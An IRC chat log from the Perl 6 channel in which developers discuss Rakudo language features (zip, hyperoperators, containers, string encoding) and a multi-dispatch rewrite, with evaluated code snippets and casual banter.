skids So anyway, slice context is the ability to say func(@a; @b; @c) and have it behave sortof like func(\@a,\@b,\@c) 21:48
DanielC The X thing doesn't seem to do what I mean.
skids and a similar thing on return values.
pmichaud jnthn: pong
21:48 decasm left
skids DanielC: see the Z example above. 21:48
jnthn pmichaud: Just spent a while trying to track down an issue in the dispatch and finally worked out what it is. :-|
DanielC rakudo: say ( <a b> Z <c d> ).perl
p6eval rakudo b6640c: OUTPUT«["a", "c", "b", "d"]␤»
jnthn pmichaud: We create various strings and ints by doing
$P0 = new 'Str' 21:49
etc
masak rakudo: say (<bon digi bon digi>, "bon" xx ++$*n, "digi" xx $*n).join(", ") while *
p6eval rakudo b6640c: OUTPUT«bon, digi, bon, digi, bon, digi␤bon, digi, bon, digi, bon, bon, digi, digi␤bon, digi, bon, digi, bon, bon, bon, digi, digi, digi␤bon, digi, bon, digi, bon, bon, bon, bon, digi, digi, digi, digi␤bon, digi, bon, digi, bon, bon, bon, bon, bon, digi, digi, digi, digi, digi␤bon,
..digi, b…
jnthn Rather than Str.new
masak bon digi, people.
DanielC skids: Unless I'm missing something, that's not right either. I was hoping for an array of arrays. [ [a,c], [b,d] ] not a flattened array.
pmichaud <a b> is a list
jnthn At present, the second of those goes through the whole "create the object from the p6opaque" thing.
sjohnson rakudo: say <a b>.WHAT 21:50
p6eval rakudo b6640c: OUTPUT«List()␤»
jnthn And the first does not.
That means we end up hitting Parrot's dispatcher, when goes on to do the Wrong Thing. :-|
pmichaud jnthn: $P0 = new 'Str' should disappear.
jnthn pmichaud: OK, if you're fine with that going away, that makes my life a lot easier. :-)
pmichaud in general we should let "box" and hll type mapping handle our strings/ints for us.
jnthn *nod* 21:51
pmichaud *that* might still do the Wrong Thing, though.
Depending on what you think the Right Thing ought to be.
DanielC jnthn: But in theory (1,2,3) Z (3,4,5) is supposed to give ( (1,3) , (2,4) , (3,5) ) ?
skids DanielC: yes unless you flatten it.
pmichaud DanielC: (1,2,3) Z (3,4,5) does give ( (1,3), (2,4), (3,5) ). We just don't have a way to get it out that way yet :-|
jnthn pmichaud: Well, long term I plan to have the instantiate vtable do the right thing so it *will* work.
DanielC pmichaud: "getting it out" ? 21:52
skids: thanks
jnthn pmichaud: But that's another chunk of refactoring...
pmichaud DanielC: most of the operations tend to want to flatten Lists
DanielC pmichaud: And that's a bug that will be fixed later?
pmichaud depends on what you mean by "bug" 21:53
in particular: my @a = (1,2,3) Z (3,4,5) will produce [1, 3, 2, 4, 3, 5]
because assignment to an array will flatten.
DanielC Ah, so it is the *assignment* that flattens it?
How do I get it in non-flat format? 21:54
21:54 keta joined
skids DanielC: Ithink now thats $a = (1,2,3) Z (3,4,5) 21:54
21:54 ZuLuuuuuu left
keta rakudo: sub postfix:<!>(Int $x) {[*] 1..$x} 21:54
pmichaud yes, $a would probably not flatten
p6eval rakudo b6640c: ( no output )
DanielC I'm thinking about how I would implement a dot product in Perl 6.
PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); $a.perl.say; 21:55
p6eval rakudo b6640c: ( no output )
PerlJam er .. that was unexpected
keta this gives an error with my local rakudo: perl6 -e 'sub postfix:<!>(Int $x) {[*] 1..$x}' 21:56
skids infix:<Z> is still a PIR function, and has some quirks as a result.
keta I have the latest Parrot. Maybe this is the reason.
21:56 pmurias left
keta The Rakudo here seems to handle it... 21:57
pmichaud keta: what error do you get?
keta Malformed routine definition at line 1, near "postfix:<!"
PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); say $a.perl;
p6eval rakudo b6640c: OUTPUT«[1, 3, 2, 4, 3, 5]␤»
DanielC For example, the dot product would be something like this: [+] map { $^a[0] * $^a[1] } (@a Z @b);
PerlJam rakudo: my $a = (1,2,3) Z (3,4,5); $a.perl.say;
p6eval rakudo b6640c: OUTPUT«[1, 3, 2, 4, 3, 5]␤»
PerlJam Hmm
TimToady [+] @a »*« @b 21:58
PerlJam DanielC: I think you mean [+] map { $^a * $^b }, @a Z @b;
but ... what TimToady said
21:58 ejs left
keta pmichaud: Should I downgrade Parrot? 21:59
pmichaud keta: what revision of parrot do you have?
DanielC What does » do?
keta pmichaud: r39199 22:00
DanielC "[+] @a »*« @b" looks like a very impressive way to define a dot product.
pmichaud keta: In general I recommend using the version of Parrot that Rakudo normally wants (the one in build/PARROT_REVISION)
pochi DanielC: I think it is the hyperoperator >> ... << 22:01
keta pmichaud: I'll try that. Just wanted to report it.
skids pochi is correct.
DanielC pochi: Can I use the >> sign (ie. two > signs) or do I have to use » ? 22:02
PerlJam DanielC: either.
DanielC Thanks.
skids >> is texas »
TimToady see the section "Hyper operators" in S03
DanielC I can't type » on my keyboard.
masak not many people have such a key per se.
DanielC opens S03
masak but a powerful editor will enable you to type it. 22:03
sjohnson doesnt >> just work?
masak yes, sure.
sjohnson oh
PerlJam DanielC: in vim you can type control-K<< to get «
sjohnson i see perljam answerd the question
22:03 mizioumt1 left
skids rmembers he never got around to doing something cute with hash hypers. 22:03
PerlJam DanielC: the analogous thing for >>
TimToady yes, and >> is even considered beautiful--in Texas 22:04
masak :)
PerlJam wonders what the texas version of ö looks like 22:05
skids (**)? 22:06
masak pmichaud: this hackathon thing seems popular. the organizers have gone from 4 guests to 17. I'm looking forward to meeting all the Swedish Perl programmers, thirsty for news about Perl 6. :)
PerlJam so, >>(**)<< would be the "texas camelia"?
DanielC rakudo: #[+] map { $^a[0] * $^a[1] } (@a Z @b); 22:07
p6eval rakudo b6640c: OUTPUT«Can't use embedded columns in column 1 at line 2, near "[+] map { "␤in Main (src/gen_setting.pm:0)␤»
skids P
:)
6
DanielC I know that the code is wrong, but this is a *comment*.
Why is Rakudo trying to parse a comment?
masak DanielC: only #[+] is a comment.
DanielC: see S02. 22:08
JDlugosz Hello.
DanielC ??
PerlJam DanielC: perl6 has "enhanced comments" :)
JDlugosz Larry: are you around?
masak DanielC: ¿¿
sjohnson 蜘蛛
PerlJam DanielC: # followed by a bracketing construct, lets you do multi-line comments. #{ this whole thing is a comment }
skids DanielC: # can take a parenthesizer
DanielC ah... 22:09
ruoso rakudo: my @a := map { .say }, 1..10; say @a[4];
PerlJam But that's an odd error message anyway "Can't use embedded columns"? what does that even mean?
p6eval rakudo b6640c: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤»
ruoso hm... no lazyness in rakudo yet...
pugs: my @a := map { .say }, 1..10; say @a[4];
p6eval pugs: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤1␤»
JDlugosz To type funny chars, DanielC and others, check out <www.xkeys.com/xkeys/xkstick.php>.
ruoso nor in pugs
masak sjohnson: 你会写中文?
ruoso rakudo: my @a = gather for 1..* { take say $_ }; say @a[4]; 22:10
p6eval rakudo b6640c: OUTPUT«Use of uninitialized value␤Use of uninitialized value␤␤»
masak dang, meant 你会写中文吗? of course... :)
ruoso rakudo: my @a = gather for 1..* -> $n { take say $n }; say @a[4];
p6eval rakudo b6640c: OUTPUT«Use of uninitialized value␤Use of uninitialized value␤␤»
ruoso pugs: my @a = gather for 1..* -> $n { take say $n }; say @a[4];
p6eval pugs: OUTPUT«1␤2␤3␤4␤5␤6␤7␤8␤9␤10␤11␤12␤13␤14␤15␤16␤17␤18␤19␤20␤21␤22␤23␤24␤25␤26␤27␤28␤29␤30␤31␤32␤33␤34␤35␤36␤37␤38␤39␤40␤41␤42␤43␤44␤45␤46␤47␤48␤49␤50␤51␤52␤53␤54␤55␤56␤57␤58␤59␤60␤61␤62␤63␤64␤65␤66␤67␤68␤69␤70␤71␤72␤73␤74␤75␤76␤77␤78␤79␤80␤81␤82␤83␤84␤85􏿽xE2
ruoso er...
bad pugs
TimToady two says 22:11
22:11 tulcod left, fridim_ left
jnthn masak: 吗 is the question particle? 22:11
DanielC sub infix:<·> (@a,@b) { [+] @a »*« @b }
This is beautiful.
JDlugosz Hey Larry,...
TimToady howdy
masak jnthn: indeed. like czy in Polish, if that helps. statement-prefix only.
JDlugosz I need to make sure I'm on the right track re item containers.
It's rather critical to my understanding and forward progress.
jnthn masak: prefix? You wrote it on the end? 22:12
I thought it was a postfix...
masak er. postfix. :)
jnthn Phew. :-)
masak statement-postfix.
jnthn grammar Mandarin is SinoTibetan { }
;-)
Gaaah, this bug is *hard*. :-( 22:13
masak jnthn: and there's no nesting of question particles either. I've tried it on various native Chinese, and it just makes no sense to them.
TimToady JDlugosz: we had a discussion about that earlier today here; I think you're on the right track with binding, and the magic of $x vs @x is actually in how it desugars in an arglist
JDlugosz I'll scroll back the log. Meanwhile, can you give me a nod or woah on this statement: ... 22:14
Regarding "item containers" ...
my @A = (1, 2, 3);
my $x; # default to "is Scalar"
$x = @A;
Now $x is BOUND TO an item container of type Scalar, which CONTAINS an Array which itself CONTAINS 3 items of type Int.
@A is BOUND TO a list container of type Array.
lambdabot Maybe you meant: . ? @ v
JDlugosz my $y := @A;
$y is BOUND TO the Array, same as @A is.
jnthn OH NO
JDlugosz I do recall that you made a much bigger deal about Item Containers back when, and everyone but me seems to have forgotten about them. 22:15
jnthn *sigh* I think I've figured out what it might be. :-S
JDlugosz So I wonder if it's gone by the wayside in the last 9 years.
masak admires JDlugosz' memory
ruoso JDlugosz, that was/is my understanding of things... but today there has been some mentioning that binding also implies context... 22:16
keta pmichaud: I have rebuilt everything with Parrot r37869. The above error is still the same! Rakudo otherwise works fine. Only the operator overloading examples by moritz and jnthn don't work for me. 22:17
pmichaud 37869 seems old
jnthn pmichaud: Eww eww eww. It appears that the reason split is broken, is because the previous dispatcher walked the MRO out-of-order. Or at least, ignored methods on a PMC if there was one anywhere else in the hierarchy on a non-PMC.
TimToady I'm not sure I believe in Scalar right now 22:18
keta pmichaud: It's the one from build/PARROT_REVISION
pmichaud keta: the current version of Rakudo expects 39025. Are you sure you have an up-to-date Rakudo?
ruoso TimToady, er.. don't spell any heresy... ;) Scalars do exist...
jnthn pmichaud: Now I walk it properly, and hit upon the split that is installed into/copied into the String namespace. But at that point it's a Parrot MultiSub, not a Perl6MultiSub.
keta pmichaud: 'git-fetch' is what I do 22:19
TimToady all objects are scalars
jnthn (That is, at the point it was copied over there.)
JDlugosz masak: thanks (I think)
ruoso TimToady, no.. that was p5
jnthn pmichaud: So the multi-dispatch does the wrong thing. :-(
masak JDlugosz: also, see? TimToady doesn't believe in Scalars either. :P
jnthn pmichaud: Epic ouch.
JDlugosz Don't beleive in scalars: well, whatever the Item COntainer ends up being called. Syn has funny old edits, and doesn't distinguish between the Role and the concrete class.
So is there a conceptual change coming, or a shake-down based on existing practice of late? 22:20
TimToady mind you, I'm writing all this with a headache, so take it all with a grain of salt
keta pmichaud: If it is expected to work, I'll sort it out myself tomorrow...
jnthn JDlugosz: Could just be that roles pun.
JDlugosz Should I avoid that term in favor of something else?
ruoso JDlugosz, yeah... the term "concrete class" is much more flexible in Perl 6
TimToady there's no extra level of indirection in $x than in @x 22:21
pmichaud masak: (hackathon) Outstanding!
JDlugosz (headache) likewise. Surreal dreams combining Perl 6 and the movie "The Red Violin". But that's another story.
22:21 keta left
pmichaud keta: I'm not sure if "git-fetch" will always get the latest master. 22:21
TimToady insofar as when you say $x := @x, the symbol table entries for $x and @x point to the same object
ruoso that's fine
TimToady and $x =:= @x
masak pmichaud: yes, quite. now I just need to write the presentation. :P
ruoso TimToady, that still fits with my understanding of things
JDlugosz $x := @x, same object at symbol table level, no extra level of indirection. That fits my understanding. 22:22
ruoso the latest @x capturization is that needs to be refined yet
TimToady or to put it another way, the type Scalar is really just the pointer in the symbol table to the object
skids thinks $x =:= @x should be in synopsis somewhere, if not already.
ruoso TimToady, it's not only related to "symbol table" 22:23
it's related to storage in all sorts of places
TimToady yes
ruoso i.e. has $.foo;
pochi if $x =:= @x etc, then why have sigils at all?
TimToady point is that $x in a list works the same as @a<x>
er,
@a[1]
lambdabot Unknown command, try @list
masak pmichaud: I just committed the .bytes method. the same trick used there can be used for both aspects of unpack and Buf. I will probably look into that next. 22:24
TimToady in neither case does list interpolation happen without extra help
JDlugosz hmm, are you saying that there is *never* an extra layer?
TimToady there can be a proxy to enforce readonly
ruoso I think it's just a matter of refining when @x invokes interpolation
TimToady but that's somethign else
JDlugosz My current diagram (which I need to draw on the computer) explains everything so well.
TimToady and what we were discussing earlier was that @x desugars to @x.capturize
ruoso right... 22:25
JDlugosz Or is the "item container" hoisted into the symbol container, and always there?
ruoso but in which circumstances?
TimToady where as \@x (or maybe $@x now) desugars to the bare @x object
JDlugosz capturize?
TimToady as does $x, even if bound to Array
ruoso JDlugosz, for capturize, do backlog from today
22:26 iblechbot left
TimToady capturize wraps it up to the list knows it's context dependent 22:26
might just be .list
22:26 amoc joined
JDlugosz OK, I'll catch up later. 22:26
dalek kudo: 5ac642b | masak++ | src/setting/Any-str.pm:
[setting/Any-str.pm] implemented the .bytes method
TimToady sorry, not terribly coherent at the moment
need to lie down
JDlugosz That's like another context? item, etc.?
ruoso TimToady, I think the .capturize thing is on the right track, but it happens only in fewer cases... 22:27
22:27 jferrero left
ruoso so that $x := @x ; $x =:= @x works 22:27
TimToady discussion at irclog.perlgeek.de/perl6/2009-05-27#i_1181517 22:28
pmichaud masak: surely there's a better way for us to compute bytes.
masak pmichaud: yes, I hope so too. :)
TimToady you *can't* compute bytes unless you know the encoding
masak pmichaud: this was what was suggested to me on parrot-dev.
pmichaud masak: my suggestion is to try to trans_encoding to 'fixed_8', and then take the "length" 22:29
masak pmichaud: I will definitely try that.
TimToady NO
JDlugosz Thanks, y'all.
TimToady please don't guess the encoding
pmichaud TimToady: the string already knows its encoding.
TimToady Str doesn't naturally know .bytes
ruoso TimToady, is := and = regular infix ops?
s/is/are/ 22:30
TimToady how do they know that?
pmichaud TimToady: it's possible I'm conflating a couple of issues here (more)
TimToady Perl 6 doesn't assume that strings know their encoding until filtered through output handle
pmichaud TimToady: but in Parrot, every string has an encoding and a charset
22:30 jferrero joined
pmichaud so switching a string to "fixed_8" encoding is roughly equivalent to cnverting it (in Perl 6 terms) to a Buf 22:31
masak TimToady: I need some way to turn a Str into bytes, so that I can do URL escaping right. I'm very eager to hear how to implement this right.
TimToady which will probably be the wrong answer in Japan
ruoso masak, even when doing url escaping, you do need to explicitly ask for a encoding
skids plugs in new USB RS232 adaptor and is nearly blinded by the blue LED,
I know blue LEDs are nice and all but... 22:32
masak ruoso: I see.
hm. need sleep. will backlog.
masak waves good night
22:32 masak left
TimToady it's fine for now to just support .bytes on a Buf type only, not on Str 22:32
pmichaud well, what masak++ is really after is a way to urlencode a Str, I think.
ruoso and a Str that is stored in some encoding does Buf?
pmichaud I'd have to go back and check what the standards are for urlencoding non-ASCII 22:33
TimToady by default a Str's minimum abstraction level is graphemes
you can't even ask it how many codepoints it has, really
ruoso pmichaud, there isn't one... it's up to the server
pmichaud ruoso: normally the url encoding is up to the browser when generating data 22:34
TimToady you don't know .codes unless you know what composition/decomposition is desired
wayland76 skids: now you know why duct tape was invented
ruoso pmichaud, right... or up to the server when generating the links
pmichaud ruoso: I suspect that masak++ is writing a server app, yes.
which is why he needs the encoding.
*urlencoding
ruoso either way he needs to declare explciitly which encoding he's using 22:35
there's no implicit encoding there...
TimToady, is there a standard abstract way to represent graphemes in memory? 22:36
pmichaud in all likelihood he's using utf-8 (and can know that)
jnthn pmichaud: My dispatcher re-write now gets through all sanity tests and a bunch of extra spectests too.
TimToady no, that's why they're *abstract*
pmichaud jnthn: \o/
which means the urls need to also be utf8
jnthn pmichaud: I think I'm down to the fails I was kinda expecting to have now.
ruoso TimToady, so every Str needs to be stored in memory in some encoding/charset... 22:37
skids jnthn<<+<<1 xx $many
TimToady ruoso: ask someone about NFG; I need to go shut my eyes
pmichaud and something like « has to be written as a 2-octet escaped sequence (like %C2%AB or something like that)
ruoso needs to decommute... 22:38
ruoso waves goodbye...
22:38 cognominal left
JDlugosz NFG is a misnomer. It is not a normalized form of unicode at all. 22:38
22:38 cmarcelo left, ruoso left
wayland76 lets make it stand for non-normalised then 22:39
jnthn pmichaud: I actually ended up not having to change anything to do with Str creation etc.
skids or nihilist
jnthn pmichaud: Anyway, my brain's kinda done for now after hunting that one down, so I'll resume tomorrow. 22:40
wayland76 jnthn++ :) 22:41
22:42 mizioumt left 22:43 araujo left
jnthn 10,000 sub dispatches: 5.983806 22:46
10,000 multi dispatches: 4.936302
10,000 method dispatches: 5.311666
10,000 multi-method dispatches: 7.843105
So, I'm happy that method and sub dispatch are on a more level footing now (method dispatch used to be almost somewhat more costly) 22:47
However, multi-method dispatch is still a pig.
(figures pasted for relative comparsion rather than their absolute values) 22:48
pmichaud they're still quicker than what they were, even for multi-method dispatch, yes? 22:50
jnthn pmichaud: Oh yes, for sure.
pmichaud I'm impressed (and pleased) with this
jnthn pmichaud: Method dispatch used to be notably slower than sub dispatch.
pmichaud: I know exaclty why multi-method dispatch costs more, fwiw. 22:51
pmichaud: I won't deal with it right away, but I know what needs fixing.
I just didn't decide how to fix it yet.
Well, optimizing. :-)
The reason is that the caching scheme doesn't work out for multi-methods. 22:52
22:52 synthEEEE left 22:53 synthEEEE joined
jnthn pmichaud: Also, this now works: 22:53
class Foo {
multi method x($x) { say "in general" }
multi method x(Int $x) { say "in specific"; nextsame; } 22:54
}
Foo.new.x(42);
output is
22:54 ZuLuuuuuu joined
jnthn in specific 22:54
in general
:-)
pmichaud :-)
skids useful...
jnthn pmichaud: Also 22:55
class Bar is Foo { method x($x) { say "in subclass"; nextsame; }
}
Bar.new.x(42);
Will do "in subclass", "in specific", "in general"
pmichaud: It isn't making a candidate list in advance for every call. Instead, it lazily builds it as it's required. 22:56
So we only really pay for deference when the code defers.
pmichaud which is as it should be :-)
jnthn For multis it's harder to be quite so lazy, but once I get our ability to cache fixed up then we'll be looking a lot better. 22:57
Anyway, I hadn't actually tested that those deference things worked until like 10 minutes ago. 22:58
jnthn is happy
22:59 ZuLuuuuuu left
jnthn goes and grabs a nice tmave krusovice pivo 22:59
22:59 aartist left 23:06 DemoFreak left, cognominal joined
wayland76 What does the type "Matcher" do? 23:09
DanielC Hi. I'm reading S02. What's the difference between a graphene and a character?
I would have thought that á, ü and ñ are all both graphenes and characters. 23:10
wayland76 It appears in the S32 definition of grep and other Matcher functions
jnthn wayland76: ah, think I defined that in Rakudo just recenlty
ah yes
subset Matcher of Object where { .can('ACCEPTS') }; 23:11
wayland76: So just requires something you can smart-match against.
wayland76 DanielC: Does unicode.org/faq/char_combmark.html answer your question (second answer down) 23:12
DanielC *click*
pmichaud jnthn: does that need the "of Object" part? 23:13
jnthn pmichaud: yes
pmichaud: I think so anyway.
pmichaud: IIRC default is of Any.
pmichaud for subset there's a default?
jnthn Hmm... 23:14
rakudo: subset X where { 1 }; say Object.new ~~ X
p6eval rakudo 5ac642: OUTPUT«1␤»
jnthn ah
pmichaud: In that case no.
wayland76 rakudo: subset X where { 1 }; say X.WHAT 23:15
jnthn pmichaud: I think I copy-pasted the definition from somewhere and just used it as is.
p6eval rakudo 5ac642: OUTPUT«()␤»
pmichaud I tend to want to eliminate superfluous constraints.
jnthn pmichaud: But thinking about it, Any probably doesn't make much sense.
pmichaud: Yeah. of Object can likely go away.
DanielC wayland76: So, character is just a computer representation and it may take more than one character to define a graphene?
wayland76 DanielC: I'm no unicode expert, but that's what that answer seems to me to be saying 23:16
DanielC ok
thanks
wayland76 I have a bit of a grip on the Maths, and the Parentheses, but the rest of Unicode is dark and mysterious :)
23:16 Sartak left
DanielC :-) 23:17
23:20 donaldh left 23:21 donaldh joined
DanielC What is the difference between "$str.say" and "say $str" ? I know that they have the same effect, and clearly $str.say means that say() is a method. 23:23
What about "say $str"? Is that just syntactic sugar for $str.say? Or is it a legitimate function in its own right?
wayland76 Does anyone know what this error means? 23:25
>perl6 Axes.pm
ResizablePMCArray: Can't pop from an empty array!
in Main (src/gen_setting.pm:2167)
pmichaud .say is a method on Any
afaik, it doesn't take any arguments
(or if it does, then its argument is a filehandle) 23:26
say() is a global function
DanielC ok
pmichaud it takes a slurpy list of arguments
Tene :( building rakudo uses all of my RAM.
pmichaud Tene: the C-compiler step?
Tene: or some other step?
Tene No, just the usual part.
DanielC pmichaud: thanks 23:27
pmichaud rakudo: <a b c d>.say 23:30
p6eval rakudo 5ac642: ( no output )
Tene rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1); foo(1); foo(1);
p6eval rakudo 5ac642: OUTPUT«hi␤OMG LOL HAI!!!␤OMG LOL HAI!!!␤»
pmichaud rakudo: <a b c d>.say
p6eval rakudo 5ac642: OUTPUT«abcd␤»
Tene rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1); foo(1); foo(1);
p6eval rakudo 5ac642: OUTPUT«hi␤Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/KkAdgYt2HO:2)␤called from Main (/tmp/KkAdgYt2HO:2)␤»
Tene That failure is... interesting. 23:31
(Not that the intended behavior is very well-defined... :) 23:32
wayland76 rakudo: a = ::$t; 23:33
p6eval rakudo 5ac642: OUTPUT«ResizablePMCArray: Can't pop from an empty array!␤in Main (src/gen_setting.pm:2167)␤»
23:33 sjohnson left
wayland76 What's that error? :) 23:33
DanielC Perl 6 offers some new opportunities for obfuscation: @arr\ #( ?* &) [0]
wayland76 DanielC: It does indeed, especially with custom Unicode operators :) 23:34
DanielC :-)
jnthn Tene: srsly wtf is that error about?!
Tene: oh, damm
Tene jnthn: ENOCLUE
jnthn I read the wrong Rakudo output.
Tene: oh, hang on 23:35
What was the difference between the example you wrote with the awesome subset that worked, and the one that didn't?
Tene jnthn: no difference. 23:36
just ran the same command again.
jnthn Tene: ouch. Rakudobug...
Tene jnthn: well, it *was* random...
jnthn Tene: True. ;-) 23:37
Tene I'm suspecting something like it matching against the subset a few times, and one disagreeing with a different.
23:37 Electric1eavyLan joined
jnthn Tene: oh 23:37
Tene: It'll be falling into the junction dispatcher.
Tene but that's just a guess.
jnthn When it can't find a candidate.
I guess.
Still odd.
wayland76 rakudo: $a = ::$t; 23:38
p6eval rakudo 5ac642: OUTPUT«ResizablePMCArray: Can't pop from an empty array!␤in Main (src/gen_setting.pm:2167)␤»
pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
p6eval rakudo 5ac642: OUTPUT«hi␤hi␤hi␤hi␤hi␤»
pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
p6eval rakudo 5ac642: OUTPUT«Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/0nveH3jt1b:2)␤called from Main (/tmp/0nveH3jt1b:2)␤»
pmichaud rakudo: subset awesome where { rand > 0.5 }; multi sub foo($n) { say "hi" }; multi sub foo(awesome $n) { say "OMG LOL HAI!!!" }; foo(1) for 1..5;
p6eval rakudo 5ac642: OUTPUT«hi␤OMG LOL HAI!!!␤OMG LOL HAI!!!␤Parameter type check failed; expected something matching Junction() but got something of type Int() for $n in call to foo␤in sub foo (/tmp/B2vIVR4fwQ:2)␤called from Main »
pmichaud Very strange.
jnthn Probabalistic failure. :-D 23:39
pmichaud Oh, I know the problem!
at least, I can guess
the first time the dispatcher sees it, the where clause gives a matching value
but inside of SIGNATURE_BIND, the where class gives a non-matching value
i.e., the where clause is being invoked multiple times for a single call, perhaps?
jnthn pmichaud: Right. We would be a whole bunch faster if we had a !SIGNATURE_BIND that knew we were invoked via multi-dispatch that didn't re-do the checks. 23:40
pmichaud more importantly, we probably need some way to make sure the checks are done only once.
23:40 exodist left
jnthn pmichaud: Well, yes, it's sub-optimal. 23:40
pmichaud: And possibly wrong-ish too. 23:41
skids side effects may cause wrongness. Do not take with NSAIDs.
pmichaud or perhaps we can get single-dispatch to do the checks as well, so that !SIGNATURE_BIND doesn't have to? 23:42
(I don't remember all the gory details there.)
23:42 brunov left
jnthn pmichaud: Still tricky-ish I fear. 23:43
pmichaud: Need to do the right-ish thing with &some_multi.candidates[0].()
23:43 alester left
jnthn Well, with args to check of course... 23:44
pmichaud is that single or multi dispatch in that case?
jnthn As we currently have it, single.
Single dispatch to a single multi candidate.
OTOH I suspect &some_multi:<Int, Str>($a, $b) or whatever the syntax is will still be multi. 23:45
pmichaud that's what I would expect. 23:46
jnthn ('cus we can't be sure we uniquely identified a candidate here)
I didn't quite decide who to implement that second one yet.
It's easy if it doesn't need to be optimal.
23:46 _Chillance_ left
pmichaud easy is good, at least until we know optimal is needed. 23:47
jnthn Aye.
skids jnthn: you know what, why don't you take some time to enjoy your victory before you poke holes in it? :-)
pmichaud he already enjoyed his victory -- it's BACK TO WORK! *cracks whip* 23:48
jnthn no no pleez i can haz sleeps first?
;-)
23:49 ElectricHeavyLan left
wayland76 we might allow that, but would CHEEZBURGERZ be an acceptable substitute? :) 23:49
jnthn wayland76: Ooh, maybe...but I already eated a double cheezburger at lunch.
And a large pizza for dinner.
So I think I've maxed out on the less-than-healthy food today... 23:50
wayland76 Hmm. That's hard to top, unless you like corn fritters or something :)
23:50 kesselhaus left
skids
.oO(grits)
23:50
jnthn Oh, I used to do FAR worse
wayland76 Or we could give you some grapes and strawberries :)
jnthn When I was young, in my village, there was (like in every respectable English village) a fish and chip shop. 23:51
The sort that deep-fries stuff in nice thick batter.
Now, I don't like fish/seafood. So at such places I take a battered deep fried saussage.
wayland76 Tell you what, every 4 hours, we'll let you sleep for 25 minutes -- 24 hours a day :)
jnthn However, this place had something else.
skids no stop! low on groceries! Must last night!
jnthn Deep friend black pudding.
wayland76 Hoo! :)
jnthn Complete with the lumps of embedded fat. 23:52
wayland76 I'm told the Scots go in for deep-fried mars bars
23:52 Electric1eavyLan left
jnthn They were around a bit in England too. 23:52
I never found a place that did one though. :-(
Was curious to try it for the novelty factor. 23:53
wayland76 Same here
But I'd prefer to try it somewhere foreign, so I couldn't get them all the time :)
23:53 ElectricHeavyLan joined
jnthn Yeah, when I worked in the UK I'd go to the chippie quite often. 23:54
Probably good it's not an option here.
wayland76 If you buy a big pile of fruit, that can be eaten raw, it's almost as convenient :)
jnthn Yeah. Grapes are great for that. 23:55
wayland76 My point exactly :)
jnthn Often have some of those around.
Strawberries are nice for that too. :-) 23:56
And (expensive but gorgeous) cherries.
23:59 brunov joined, sri_kraih_ left, sri_kraih joined
jnthn was going to book his flight to YAPC::EU tonight, but doesn't trust himself to do it right now. 23:59